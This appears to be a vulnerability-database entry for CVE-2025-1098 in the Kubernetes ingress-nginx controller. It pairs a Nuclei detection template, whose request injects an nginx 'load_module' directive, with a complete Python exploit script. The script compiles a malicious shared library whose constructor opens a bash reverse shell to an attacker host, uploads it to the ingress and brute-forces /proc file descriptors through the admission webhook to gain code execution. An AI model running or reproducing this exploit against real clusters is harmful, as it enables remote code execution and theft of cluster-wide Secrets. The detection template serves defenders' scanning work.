CVE-2025-1098

nuclei -id CVE-2025-1098 -u https://your-target

Template yaml

id: CVE-2025-1098

info:
  name: Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations
  author: UNC1739
  severity: high
  description: |
    A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  impact: |
    Authenticated users with Ingress creation permissions can inject arbitrary nginx configuration through mirror annotations, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
  remediation: |
    Upgrade to the patched version of ingress-nginx that properly sanitizes mirror-target and mirror-host annotations.
  reference:
    - https://github.com/kubernetes/kubernetes/issues/131008
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1098
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-1098
    cwe-id: CWE-20
    epss-score: 0.83498
    epss-percentile: 0.99661
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,rce,vuln

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "{{string}}",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "minimal-ingress",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {
              "uid": "{{string}}"
            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "minimal-ingress",
                "namespace": "default",
                "creationTimestamp": null,
                "uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
                "annotations": {
                  "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "test.example.com",
                    "http": {
                      "paths": [
                        {
                          "path": "/",
                          "pathType": "Prefix",
                          "backend": {
                            "service": {
                              "name": "kubernetes",
                              "port": {
                                "number": 443
                              }
                            }
                          }
                        }
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }

    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'load_module'
          - 'directive is specified too late'
        condition: and
# digest: 4a0a00473045022100ad8cb275e375c69ccab86cdbf9a1f9e87fdfac405b39ce7dad18ee0b04c58e5002203d3d561f47c1cac87c117fbb8aa47d9c19202bd1b1cc2c5258003a964dfb6b2f:922c64590222798bb761d5b6d8e72950

Code txt

# Exploit Title:  Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://kubernetes.io
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974

import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>

__attribute__((constructor))
void run_on_load() {
    system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}

int bind(void *e, const char *id) {
    return 1;
}

void ENGINE_load_evil() {}

int bind_engine() {
    return 1;
}
"""

def compile_shared_library(host, port, output_file="evil_engine.so"):
    c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))

    with open("evil_engine.c", "w") as f:
        f.write(c_code)

    print("[*] Compiling malicious shared object...")
    result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")

    if result == 0:
        print("[+] Shared object compiled successfully.")
        return True
    else:
        print("[!] Compilation failed. Is gcc installed?")
        return False


def send_brute_request(admission_url, json_template, proc, fd):
    print(f"[*] Trying /proc/{proc}/fd/{fd}")
    path = f"proc/{proc}/fd/{fd}"
    payload = json_template.replace("REPLACE", path)

    headers = {"Content-Type": "application/json"}
    url = admission_url.rstrip("/") + "/admission"

    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
        print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")


def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
    try:
        with open(json_file, "r") as f:
            json_data = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {json_file} not found.")
        return

    print("[*] Starting brute-force against the admission webhook...")
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(1, max_proc):
            for fd in range(3, max_fd):
                executor.submit(send_brute_request, admission_url, json_data, proc, fd)


def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
    try:
        with open(shared_object, "rb") as f:
            evil_payload = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {shared_object} not found.")
        return

    parsed = urlparse(ingress_url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"[!] Failed to connect to {host}:{port}: {e}")
        return

    fake_length = len(evil_payload) + 10
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: qmx-ingress-exploiter\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode("iso-8859-1")

    print("[*] Uploading malicious shared object to ingress...")
    sock.sendall(headers + evil_payload)

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk

    print("[*] Server response:\n")
    print(response.decode(errors="ignore"))
    sock.close()


def main():
    if len(sys.argv) != 4:
        print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
        sys.exit(1)

    ingress_url = sys.argv[1]
    admission_url = sys.argv[2]
    rev_host_port = sys.argv[3]

    if ':' not in rev_host_port:
        print("[!] Invalid format for rev_host:port.")
        sys.exit(1)

    host, port = rev_host_port.split(":")

    if not compile_shared_library(host, port):
        sys.exit(1)

    # Send the malicious shared object and keep the connection open
    upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
    upload_thread.start()

    # Simultaneously brute-force the admission webhook for valid file descriptors
    brute_force_admission(admission_url)


if __name__ == "__main__":
    main()